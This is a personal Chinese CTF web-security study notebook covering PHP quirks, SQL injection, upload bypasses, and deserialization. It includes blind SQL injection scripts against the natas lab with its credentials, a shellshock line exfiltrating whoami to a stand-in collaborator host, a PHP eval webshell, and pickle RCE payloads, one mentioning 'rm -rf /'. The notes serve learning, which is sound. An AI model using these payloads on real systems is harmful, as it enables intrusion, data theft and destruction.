0%

CTF-web笔记

个人web小白题刷题笔记

http

  • 在修改请求头的时候考虑加上X-Forwarded-For: 127.0.0.1
    X-Forwarded-For(XFF)是一个HTTP请求头字段,通常用于标识客户端的真实IP地址,即使请求经过了多个代理或负载均衡服务器。
    在流量包(网络抓包)中,Referer(有时写作 Refer)是 HTTP 请求头字段之一,主要用于指示当前请求是从哪个页面跳转过来的。它的作用是告诉服务器,用户是从哪个 URL 访问当前资源的。
  • 浏览器内部使用 32 位带符号的整数,来储存推迟执行的时间。这意味着 setTimeout 最多只能推迟执行 2147483647 毫秒(24.8 天)超过这个时间会发生溢出。如果溢出了之后,相当于从 0 开始,整数上溢
  • #的url编码是%23 '的是%27 \n是%0a \t是%09
  • 在 PHP 中,$_REQUEST 是一个超全局变量,用于获取通过多种方式(如 GETPOSTCOOKIE)发送到脚本的数据。
  • alert()函数可以再控制台调用
  • http请求头中的character就是cookie中设置 Cookie: character=admin
  • 如果在发包的时候,输入封号会造成消息的截断,可以用url编码%3B替代
  • POST请求的通用头
    Content-Type
    指定请求体的数据格式,常见值:
    • application/x-www-form-urlencoded(表单数据,默认格式)
    • multipart/form-data(文件上传或复杂表单)
    • application/json(JSON 数据)
    • text/xml(XML 数据)
  • 如果在请求头中用base64的编码要把=和/ url编码

md5

  • md5相同但是字符串不同:
    1
    2
    3
    4
    5
       md5('240610708') = 0e462097431906509019562988736854
    md5('QNKCDZO') = 0e830400451993494058024219903391
    md5('aabg7XSs') = 0e087386482136013740957780965295
    md5('aabC9RqS') = 0e260421314791580664869894734725
    314282422 QLTHNDT EEIZDOI
  • md5($str, false) 这是md5的默认情况 返回32位16进制数 如果是 md5($str, true)就返回16位二进制数
    ffifdyop 是true参数时候的漏洞 md5 (‘ffifdyop’,true)=’or’6xxxxxx 也就是or了一个true
  • 在 PHP 中,如果 md5() 作用于一个数组,它不会计算哈希,而是返回 NULL,但不会报错(因为 error_reporting(0); 关闭了错误输出)。
    所以可以用数组来绕过md5验证
    1
    2
    用到场景:
    $a !== $b && md5($a) === md5($b)
    运算符 作用
    != 不等于(只比较值,允许类型转换)
    !== 全不等(值或类型不同都算不等)
  • $md5[0]==md5($md5[0]) 绕过可以使用 0e215962017,因为这个值的md5也是0e开头的

php知识

  • php函数glob('*');查看当前目录中的文件 配合 highlight_file('$filename')查看

  • php中<?php等价于<?= 可以减少字符数

  • 在 php 中,使用 Content-Type: multipart/form-data; 上传文件时,会将它保存在临时文件中,在 php 的配置中 upload_tmp_dir 参数为保存临时文件的路经,linux 下面默认为 /tmp。也就是说只要 php 接收上传请求,就会生成一个临时文件。如果具有上传功能,那么会将这个文件拷走储存。无论如何在执行结束后这个文件会被删除。并且 php 每次创建的临时文件名都有固定的格式,为 phpXXXX.tmp(Windows 中)、php**.tmp(Linux 中)。我们可以发送一个上传文件的 post 包,此时 php 会将我们上传的文件保存在临时文件夹下,默认的文件名是 /tmp/phpxxxxxx,文件名最后 6 个字符是随机的大小写字母。如 /tmp/php123abc

  • forward_static_call_array() 是 PHP 中的一个内置函数,它允许在运行时动态地调用一个静态方法。其作用类似于 call_user_func_array(),但专门用于静态方法调用

    1
    2
    forward_static_call_array(['类名', '静态方法名'], 参数数组);
    forward_static_call_array( callable $function , array $parameters )

     与 call_user_func_array() 的区别:call_user_func_array() 也可以用于调用静态方法:但 forward_static_call_array() 主要用于静态上下文,特别是在继承场景下,确保调用的是当前类或子类的方法,而不是基类的方法。
    在 PHP 中,默认命名空间为 \,因此调用静态方法时可以使用绝对路径

  • 在 php 当中默认命名空间是 \,所有原生函数和类都在这个命名空间中。
    普通调用一个函数,如果直接写函数名 function_name () 调用,调用的时候其实相当于写了一个相对路径;
    而如果写 \function_name () 这样调用函数,则其实是写了一个绝对路径。如果你在其他 namespace 里调用系统类,就必须写绝对路径这种写法。
    举例:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?php
    namespace MyNamespace;

    function strlen($string) {
    return "Custom strlen function in MyNamespace";
    }

    echo strlen("Hello, World!"); // 调用的是当前命名空间中的 strlen()
    echo "\n";

    // 如果你想调用 PHP 原生的 strlen 函数,应该使用绝对路径
    echo \strlen("Hello, World!"); // 调用全局的 strlen()
    ?>
  • PHP 中的 call_user_func()函数:
    call_user_func() 是 PHP 的一个回调函数调用方法,它可以用于 动态调用函数 或 类的方法,即在运行时决定要执行哪个函数,而不是在代码编写时就固定。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    class Demo {

    static function sayHello($name) {

    return "Hello, $name!";

    }

    }
    echo call_user_func(["Demo", "sayHello"], "Alice");
  • php伪协议:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    1)file:// 访问本地文件系统
    2)http:// 访问 HTTP (S) 网址
    3)ftp:// 访问 FTP (S) URL
    4) php:// 访问各个输出输入流
    5) zlib:// 处理压缩流
    6) data:// 读取数据
    7) glob:// 查找匹配的文件路径模式
    8) phar:// PHP 归档
    9) rar:// RAR 数据压缩

    用data伪协议也可以读文件data://text/plain;base64,[base64]

  • file_get_contents() 是 PHP 读取文件内容的函数,它可以:

 读取本地文件 (file://)
 读取远程文件 (http:// / https://)
 读取特殊流 (php://input, data:// 等)
 读取压缩文件 (compress.zlib://)
enctype="multipart/form-data" 的时候 php://input 是无效的

  • data:// 伪协议允许在 URL 直接存储数据,而不需要实际文件。
  • intval() 是 PHP 的一个函数,它用于将变量转换为整数(integer)。它的基本用法如下:
    1
    2
    3
    4
    intval(mixed $value, int $base = 10): int

    $value(必需):要转换的值,可以是字符串、浮点数、布尔值等。
    $base(可选):进制,默认为 10。仅当 $value 是字符串时有效,可用于转换不同进制的数字(如二进制、十六进制)。
    1
    2
    3
    4
    5
    echo intval("42"); // 输出: 42 
    echo intval("42abc"); // 输出: 42(遇到非数字字符停止转换)
    echo intval("abc42"); // 输出: 0(无法转换则返回 0)
    echo intval(4.9); // 输出: 4(直接取整,不是四舍五入)
    echo intval(-4.9); // 输出: -4
  • preg_match /i是大小写不敏感的
  • php中的几类属性: public公有的属性或方法可以在任何地方被访问,包括类的内部、外部以及子类中
    private私有的属性或方法只能在其定义的类内部被访问,不能在子类或类的外部访问
    protected受保护的属性或方法只能在类的内部、子类或父类中被访问,不能在类的外部直接访问
  • 在 PHP 中,strstr() 函数用于在一个字符串中查找指定的子字符串,并返回从该子字符串首次出现的位置开始的剩余部分。
  • 在 PHP 里,若向 strcmp 函数传入数组而非字符串,会引发警告并返回 null。由于 null 在布尔上下文中被视为 false,经过逻辑非运算符 ! 处理后就变成了 true。因此,当你以数组形式传入 passwd 参数时,这个条件表达式会被判定为真,从而实现绕过。 passwd[]=1
  • 要看文件b的内容,但是只能在文件b写内容和在文件b里面 ,可以写<?php include '/etc/natas_webpass/natas26'; ?>
  • php中读取文件目录的函数还有scandir 过滤了. 可以用chr(47) 也就是chr + ascii码的方式绕过
  • php中的show_source是查看内容的函数 或者file_get_contents

sql注入

  • sql注入单引号被过滤的时候用双引号
  • 常见sql注入过滤
    1
    2
    3
    4
    5
    空格过滤 → 用 `/**/`、`%0a`、`%0d` 代替。
    引号过滤 → 用 `Hex` 编码或字符串函数(如 `CHAR(97)`)。
    关键词过滤  → 尝试大小写、内联注释(`SEL/*!*/ECT`)、冗余语法(`UNION ALL SELECT`)。
    逗号过滤  → 使用 `JOIN` 代替 `UNION SELECT 1,2,3`。
    等号过滤  → 用 `LIKE` 或 `IN` 绕过,例如 `WHERE id LIKE 1`。
  • 数据库查询长度超出待查询的字符串后会返回特殊字符 NULL 或者 !等
  • mysql中的反引号是为了区分 MYSQL 的保留字与普通字符,所以没有过滤反引号就可以用反引号来绕过 保留字比如user
  • mysql可以用load_file()函数读取文件union select load_file(‘path_to_file’) 目录可以选/var/www/html/
  • 在 MySQL 中,WHERE 子句在比较字符串时会忽略字符串末尾的空格。例如,当执行 SELECT * FROM table WHERE column = 'cs '; 时,MySQL 会将其视为 'cs' 进行比较,只要 column 列的值为 'cs' 就会匹配成功。这一特性可以用于绕过一些输入过滤机制。
  • CHAR 和 VARCHAR 列有最大长度限制:当给 CHARVARCHAR 列赋值时,如果值的长度超过了列的最大长度,就会对值进行裁剪以使其适合列的长 度。
    严格 SQL 模式的影响
    严格模式下:如果被裁掉的字符不是空格,会产生错误并禁用值的插入。
    非严格模式下:不管被裁掉的字符是什么,都会直接截断值,不会产生错误。
    (用法举例,在严格模式下,已知有个admin账号,可以创建一个用户,admin然后很多空格后面在随便加什么,然后会截断,再根据上一条,where中查询空格不会被计算)
  • extractvalue (1,concat (0x7e,database ())) 根据错误信息爆库名的时候用到
    EXTRACTVALUE() 是 MySQL 的一个 XML 处理函数,它用于从 XML 数据中提取特定的值.但如果传入 非 XML 结构 的 XPath,会报错,并在错误信息中泄露数据.CONCAT() 用于拼接字符串。0x7e 是 十六进制的 ~(波浪号)用于报错信息可以回显
    1
    2
    3
    id1' union select 1,2,extractvalue(1,concat(0x7e,database()))#

    XPATH syntax error: '~test_db'
  • sql注入中可以用substring函数来绕过字符长度限制
    1
    2
    3
    id:-1' union select 1,2,extractvalue(0x7e,(select substring(group_concat(flag),25,32) from test_tb)) #

    XPATH syntax error: 'a-ff5d9638a322}'
  • sql中 LIMIT 主要用于 限制查询结果的数量,通常用于分页、提高查询效率等。
    SELECT * FROM table_name LIMIT 偏移量,数量;,就是在你确定sql语句没错的时候,返回的内容没错但是不是想要的,可以在后面加上limit 1,1试试
  • sql注入中最后知道列名查值的时候,1,group_concat(),3这里括号中的名字不要引号,最后的from也不用。在爆表的时候要在库名和列名要在后面的库名或者表名加引号
  • sql报错注入还有updatexml函数
1
2
3
4
UPDATEXML(xml_data, xpath_expression, new_value)

#示例
time=updatexml (1,substring (concat (0x7e,(select group_concat (schema_name) from information_schema.schemata),0x7e),25,50),3)
  • sql注入的时候,如果查询被截断,就考虑是字符限制,把原始查询的字符删掉
  • 根据回显的sql脚本 二分法优化
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    # -*- coding: utf-8 -*-
    import requests
    auth = ("natas15", "SdqIqBsFcz3yotlNYErZSZwblkm0lrvx")
    url = "http://natas15.natas.labs.overthewire.org/index.php"

    password = ""
    password_length = 32  # 题目默认32位
    for i in range(1, password_length + 1):
        low,high = 32,126

        while low < high:
            mid = (low + high) // 2
            payload = f'natas16" and ascii(substr(password,{i},1)) > {mid} -- -'
            r = requests.get(url, auth=auth, params={"username": payload})

            if "user exists" in r.text:
                low = mid + 1
            else:
                high = mid
        if low == high:
            password += chr(low)
            print(f"Found {i}-th character: {password}")
    print(f"Final Password: {password}")
  • sql注入里面用时间盲注的requests的返回时间函数是r.elapsed.total_seconds()
  • mysql中的like是大小不敏感的 如果要大小写敏感就要用 like binary
  • mysql中if函数的最后一个参数的值是条件不成立的时候返回的值 比如if(password like binary "%{i}%",sleep({time}),1) 成立执行第二个参数,不成立执行第三个参数
  • 时间盲注脚本,可以先确定有什么字符优化一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests

import string
a = ''

url = 'http://natas17.natas.labs.overthewire.org/index.php'
auth = ("natas17", "EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC")
time = 5

c = string.ascii_letters + string.digits

sure = ''

for i in c:

    username = f'natas18" and if(password like binary "%{i}%",sleep({time}),1) -- -'

    r = requests.get(url=url, auth=auth, params={"username": username})

    if r.elapsed.total_seconds() >= time:
        sure += i
        print(f"[+]password certain: {i}")

for i in range(1,33):
    for x in sure:
        username = 'natas18" and ascii(substr(passwd,{i},1)) = ascii("{x}") and sleep({t}) -- -'.format(i=i,x=x,t=time)
        r = requests.get(url=url,auth=auth,params={"username":username})

        if(r.elapsed.total_seconds() > time):
            a +=x
            print (a)
            break

print(f"Final Password: {a}")
  • % 符号是 SQL 中的通配符,用于执行模糊匹配(类似于正则表达式中的 .*)% 代表任意长度的字符 示例SELECT * FROM users WHERE username LIKE '%admin%';表示匹配任何包含 “admin” 的 username

ctf中的linux

  • nl 命令在 linux 系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号!其默认的结果与 cat -n 有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐 0 等等的功能。(一般对输入字符有限制的时候用
  • linux中*会把目录中的第一个匹配到的文件名当作命令 剩下的文件名当作参数执行
  • 在大多数 Linux 系统中,PHP 默认会将 Session 数据存储在 /tmp 目录下,文件名通常以 sess_ 为前缀,后跟 Session ID。
1
/tmp/sess_abc123def456
  • 在单引号字符串中插入单引号的办法'"'"'
     原理: 将字符串拆分成多段,通过交替使用单引号 ' 和双引号 ",间接插入单引号字符。其实就是一种拼接的形式
    1
    2
    3
    4
    # 错误示例,会导致解析错误 echo 'This is a 'test' string.' 
    # 正确示例 echo 'This is a '"'"'test'"'"' string.'
    #等效于
    '<?php system (' + "'" + 'cat fl*' + "'" + ');?>'
  • $IFS(Internal Field Separator)是 Bash 里的内部字段分隔符,默认是空格。
  • 在linux中命令中间有分隔符,单引号双引号反斜杠反引号也可以照样执行命令比如l''s l""s l\s l``s
  • shellshock漏洞:,Bash 在解析环境变量时存在漏洞,如果环境变量的值以 () 开头并带有 额外的命令,Bash 会在解析时执行这些命令,即使它们不在函数体内。
1
(){ :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN

通过 HTTP 请求中的 User-Agent、Referer、Cookie 等 Header 注入恶意环境变量

  • linux中的mac地址在/sys/class/net/eth0/address 如果用mac地址作为随机种子,要去掉冒号,然后加上0x变成十六进制,因为随机种子一般是1位
  • nginx配置文件在/usr/local/nginx/conf/nginx.conf
  • find / -name '*' -exec grep -H 'NSS' {} \; 2>/dev/null 藏flag的时候这么找所有的

文件上传

  • php3,php5,pht,phtml,phps 都是 php 可运行的文件扩展名
  • .htaccess 是一个纯文本文件,它里面存放着 Apache 服务器配置相关的指令。
    .htaccess 主要的作用有:URL 重写、自定义错误页面、MIME 类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义 404 错误页面、阻止 / 允许特定 IP/IP 段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。
    .htaccess 的用途范围主要针对当前目录。
    1
    2
    3
    4
       # jpg文件解析成php文件
    <FilesMatch "\.jpg$">
    SetHandler application/x-httpd-php
    </FilesMatch>
  • 在 php 中 ".user.ini" 有如下解释:php 会在每个目录下搜寻文件名,如果设定为空字符串则 php 不会搜寻,也就是在 “.user.ini” 中如果设置了文件 名,那么任意一个页面都将该文件中的内容包含进去。有两种方法:
    auto_prepend_file: 在页面顶部加载文件
    auto_append_file: 在页面底部加载文件
    而且这种方式解析的文件都会被当作php文件执行,在一些文件上传题目也会碰到
  • 在文件内容的开头输入 GIF89a 主要用于绕过 MIME 类型检测Web 服务器的文件格式验证,在有检测上传文件类型的题目中可以在修改成jpg文件的前面加上这句
  • 文件上传的题目如果对文件的类型有检测就要修改MIME就是content-type 比如image/jpeg
  • 如果是文件上传题对图片的宽和高有要求,尝试在木马文件上面自己定义宽和高
    1
    2
    #define height 1
    #define width 1
  • Apache 解析漏洞主要是因为 Apache 默认一个文件可以有多个用。分割得后缀,当最右边的后缀无法识别(mime.types 文件中的为合法后缀)则继续向左看,直到碰到合法后缀才进行解析(以最后一个合法后缀为准) 在一些文件上传问题中可能出现这个问题 所以如果黑名单比较简单,后缀名只看从第一个.开始,就可以上传类似1.php.aaa这样的文件
  • apache 换行解析漏洞
    影响范围:2.4.0-2.4.29 版本
    原因:合法后缀配置文件中的正则表达式中 $ 不仅匹配字符串结尾位置,还可以匹配 \n 或 \r,在解析 php 时,1.php\x0A 将按照.php 进行解析,而’.php\x0A’ != ‘.php’, 可能过滤时过滤了.php 但没有过滤.php\x0A 从而实现绕过。配置文件:过滤后缀名.phpapache 2.4.7 无法上传 hhh.php, 上传 hhh.php.xxx 可以绕过。
  • 双后缀绕过文件上传限制的时候,gif可以在文件头写GIF89a然后插入php代码,gif这个后缀名有时候会执行php文件
1
2
3
4
  GIF89a
<?php
// php reverse shell
?>

序列化

  • php 的特性,当序列化后对象的参数列表中成员个数和实际个数不符合时会绕过 __weakup (); PHP5 < 5.6.25、PHP7 < 7.0.10
  • 如果 PHP 代码使用了 __autoload()spl_autoload_register(),那么在 unserialize() 时,PHP 会尝试自动加载不存在的类。攻击者可能通过控制 autoload 机制,使其加载恶意代码。
    1
    2
    3
    4
    5
       spl_autoload_register(function($class) {
    include "/tmp/$class.php"; // 如果 class 不存在,会自动尝试加载
    });

    unserialize('O:8:"Malicious":0:{}'); //假设类 Malicious 不存在,PHP 会通过已注册的自动加载函数尝试加载 /tmp/Malicious.php 文件
  • php序列化中的表示O:<类名长度>:"<类名>":<成员数量>:{<成员>}
  • die函数也能调用__toString()方法
  • 两个变量同时指向同一个内存地址也可以绕过wakeup,因为这样就是修改另一个变量从而修改被修改的变量的值
  • 当你试图访问一个不存在不可访问(如 private)的属性时,__get() 方法会被自动调用。
  • 在 PHP 中,__call() 是一个 魔法方法,当调用未定义不可访问(如 private)的方法时,它会被自动触发。
  • __invoke() 是一个魔术方法(Magic Method),用于使对象像函数一样被调用。它的作用是让一个对象能够像普通函数一样执行,而不需要显式调用方法。当试图把一个对象当作函数调用时,就会自动触发 __invoke() 方法。
1
$obj = new CallableClass(); $obj("这是 __invoke 被触发的示例"); // 触发 __invoke()
  • 要把一个对象赋值给一个对象属性,而且还是私有的属性,我们不能直接赋值,也不能在外面赋值,但是我们可以使用 __construct 构造函数来赋值。
  • private 属性的内容会有不可见字符,所以有时候要用urlencode序列化之后的内容
  • php中的__set函数当试图为一个未定义或不可访问(如私有或受保护)的属性赋值时 调用 get也是
1
2
3
__get($name):当尝试读取对象中未定义或不可访问的属性时,自动调用此方法。

__set($name, $value):当尝试为对象中未定义或不可访问的属性赋值时,自动调用此方法。

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Example {
private $data = [];

public function __get($name) {
echo "获取属性 '$name'\n";
return $this->data[$name] ?? null;
}

public function __set($name, $value) {
echo "设置属性 '$name' 为 '$value'\n";
$this->data[$name] = $value;
}
}

$example = new Example();
$example->property = 'value'; // 调用 __set()
echo $example->property; // 调用 __get()
?>
设置属性 'property''value'
获取属性 'property'
value
  • __debugInfo():使用 var_dump() 打印对象时自动调用。__sleep():使用 serialize() 函数序列化对象时自动调用。

细节

  • 得到信息没有flag字样的时候想想是不是base64等编码

  • php伪协议无法使用就用日志注入 蚁剑中的https证书忽略打开 做过一题限制了显示个数 所以不能尝试太多

  • 写入的 session 马上又会被删除,使用我们利用 bp 不断的发包

  • url在字符前加~就是取反,可以用于字母绕过,因为取反的之后的字符大部分都是不可见字符

    1
    2
    3
    4
       <?php

    echo var_dump(urlencode(~'system'));
    ?>
  • php中的 $str = preg_replace('/NSSCTF/',"",$_GET['str']);如果是将敏感词置换为空,就可以用双写置换,这里就是NSSNSSCTFCTF

  • 只能写三个字符但是比一个很大的数字大可以用科学计数法9e9

  • %09的url解码是/t(制表符)有时候空格绕过${IFS}也不行的时候用这个

  • 一些题目中如果过滤了?或者php。又要上传一句话木马,可以上传script版本

    1
    <script language="php">@eval($_POST['a']);</script>
  • 都是两个数字一组的加密字符串,不一定是hex,还有可能是tapcode敲击码

  • sql注入中,如果or或者union这种关键字被过滤尝试双写绕过,而且比如or被过滤那information里面含or也会被过滤

  • 蚁剑成功连接之后如果无法看到里面的文件,试试虚拟终端中查看

  • 如果cat无法查看,尝试tac

  • mt_srand (seed) 用于 初始化随机数生成器,其中 seed 是随机数种子。影响:如果使用相同的 seed,那么后续调用 mt_rand () 生成的随机数 始终相同。

  • 有时页面源代码中有可以访问的源代码文件

  • 原始抓包中的数据如果是URL编码,则发送payload也要url编码

  • 注意题目python执行的版本不同,有的题目用python2执行的,比如随机种子生成中两个版本的python生成的结果就不一样

  • 在一些无回显的题目中,如果要把返回内容写回到文件,注意flask框架的根目录很可能是/app 写到静态文件/app/static/xxx

  • hex分为普通的hex和asciihex 字符串的时候用asciihex ASCII Hex 用于字符串存储和传输,因为它能保证数据是可读的 ASCII 字符,不会引起协议解析问题。 比如一个hex 41拆成字符4和1 然后找到对应的ascii码 就是3431

其他语言知识

  • 在 Python 正则表达式中,”.” 表示匹配除了换行符之外的任意单个字符,”“ 表示匹配前面的字符零次或多次。因此,”.“ 表示匹配任意长度的字符序列,这也被称为贪婪匹配 (greedy matching)。 注意到这个除了换行符以外,所以可以用%a绕过一些正则匹配,前面是换行就匹配不到
  • 参数传递是大括号的时候,考虑原型链污染,使用的是__proto__这个私有属性,用这个修改原型的属性,当再创建一个实例的时候,就会继承被修改过的原型的属性
  • python中:
    __class__ 获取对象的类。
    __init__ 获取类的构造方法。
    __globals__ 获取该类定义时的全局变量
    示例
    1
    2
    3
    4
    5
    f1ag = request.args.get('f1ag') or ""
    exp = request.args.get('exp') or ""
    message = "Your flag is {0}" + exp

    ?flag=1&exp={0.__class__.__init__.__globals__}
  • flask的pin码泄漏可以去 /console /debugger界面执行任意命令,但是执行命令不能用os.system 只会返回0 要用os.popen().read()
  • python 中的pickle反序列化漏洞: pickle.loads()是不安全的! 它可以执行任意 Python 代码,如果攻击者构造恶意的 pickle 数据,就能远程执行命令(RCE)
    利用方式 :攻击者可以构造一个恶意 pickle 对象,其中包含一个 os.system("command"),然后将其 Base64 编码并提交到 /import 端点。
    1
    2
    3
    4
    5
    6
    7
    8
    9
       import pickle
    import base64
    import os
    class Exploit:
    def __reduce__(self):
    return (os.system, ("touch /tmp/hacked",)) # 或者 "rm -rf /"

    payload = base64.b64encode(pickle.dumps(Exploit())).decode()
    print(payload) # 生成恶意 Base64 字符串
    opcode版本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    import pickle,pickletools  
    import base64
    opcode = b'''cos
    system
    (S'mkdir static && set > ./static/1'
    tR.
    '''
    pickletools.dis(opcode)
    print(base64.b64encode(opcode).decode())
  • flask框架题里面,可以访问任意的url的时候 在/proc/self/cmdline 可以读取当前进程的命令,所以可以得到所在的路由